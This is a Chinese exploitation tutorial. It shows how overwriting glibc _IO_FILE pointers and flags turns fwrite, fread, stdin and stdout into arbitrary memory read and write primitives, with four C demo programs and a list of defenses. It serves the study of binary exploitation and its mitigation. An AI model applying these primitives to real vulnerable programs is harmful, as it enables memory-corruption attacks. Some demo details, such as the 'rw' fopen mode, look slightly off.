Pwn with File结构体(二)
字数 1017 2025-08-25 22:58:56
利用 _IO_FILE 结构体实现任意地址读写攻击技术详解
前言
在最新版 libc 中,由于对 vtable 进行了安全检查,传统的攻击方式受到限制。本文介绍一种通过修改 _IO_FILE 结构体实现任意地址读写的技术方法。
_IO_FILE 结构体基础
_IO_FILE 是 GNU C 库中用于文件 I/O 操作的核心数据结构,包含多个指针控制数据的读写。通过修改这些指针,可以在调用文件读写函数时实现任意地址读写。
任意地址读实现
原理
通过修改 _IO_write_base 和 _IO_write_ptr 指针,控制写入数据的起始和结束地址,结合标准输出实现任意地址读取。
代码示例
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[]) {
FILE *fp;
char *msg = "hello_file";
char *buf = malloc(100);
read(0, buf, 100);
fp = fopen("key.txt", "rw");
// 设置 flag 绕过检查
fp->_flags &= ~8;
fp->_flags |= 0x800;
// 设置写入数据的起始和结束地址
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg + 6;
// 绕过检查
fp->_IO_read_end = fp->_IO_write_base;
// 设置文件描述符为1(标准输出)
fp->_fileno = 1;
fwrite(buf, 1, 100, fp);
return 0;
}
关键点
- 修改
_flags绕过安全检查 - 设置
_IO_write_base为想要读取的内存起始地址 - 设置
_IO_write_ptr为结束地址 - 通过
fwrite将指定内存内容输出到标准输出
任意地址写实现
原理
通过修改 _IO_buf_base 和 _IO_buf_end 指针,控制读取数据的缓冲区位置,实现向任意地址写入数据。
代码示例
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[]) {
FILE *fp;
char msg[100];
char *buf = malloc(100);
fp = fopen("key.txt", "rw");
// 设置 flag 绕过检查
fp->_flags &= ~4;
// 设置缓冲区地址范围
fp->_IO_buf_base = msg;
fp->_IO_buf_end = msg + 100;
// 设置文件描述符为0(标准输入)
fp->_fileno = 0;
fread(buf, 1, 6, fp);
puts(msg);
puts(buf);
return 0;
}
关键点
- 修改
_flags绕过安全检查 - 设置
_IO_buf_base为目标写入地址 - 设置
_IO_buf_end为结束地址 - 通过
fread将输入数据写入指定内存区域
利用标准输入/输出实现攻击
stdin、stdout 和 stderr 也是 _IO_FILE 结构体,通过修改这些默认文件流的结构体内容,可以更方便地实现任意地址读写。
修改 stdin 实现任意地址写
#include <stdio.h>
#include <stdlib.h>
int global_val = 0xaabbccdd;
int main(int argc, char * argv[]) {
FILE *fp;
int var;
fp = stdin;
fp->_flags &= ~4;
// 将缓冲区设置为 stdout 结构体
fp->_IO_buf_base = stdout;
fp->_IO_buf_end = stdout + 100;
scanf("%d",&var);
printf("0x%x\n", global_val);
return 0;
}
修改 stdout 实现任意地址读
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[]) {
FILE *fp;
char *msg = "hello_stdout";
char *buf = malloc(100);
fp = stdout;
// 设置 flag 绕过检查
fp->_flags &= ~8;
fp->_flags |= 0x800;
// 设置写入地址范围
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg + 12;
// 绕过检查
fp->_IO_read_end = fp->_IO_write_base;
// 设置文件描述符为1(标准输出)
fp->_fileno = 1;
puts("this is append on msg");
return 0;
}
防御措施
- 指针完整性检查:验证
_IO_FILE结构体中的指针是否指向合法内存区域 - 权限分离:限制对关键文件结构体的修改权限
- 地址随机化:通过 ASLR 增加攻击难度
- 结构体保护:对关键文件结构体进行写保护
参考资源
- Play with FILE Structure - Yet Another Binary Exploit Technique
- GNU C 库源代码中关于
_IO_FILE的实现 - 相关安全公告和漏洞报告
通过深入理解 _IO_FILE 结构体的工作机制和修改方法,安全研究人员可以更好地防御此类攻击,同时也可以在某些特殊场景下利用这些技术进行安全测试。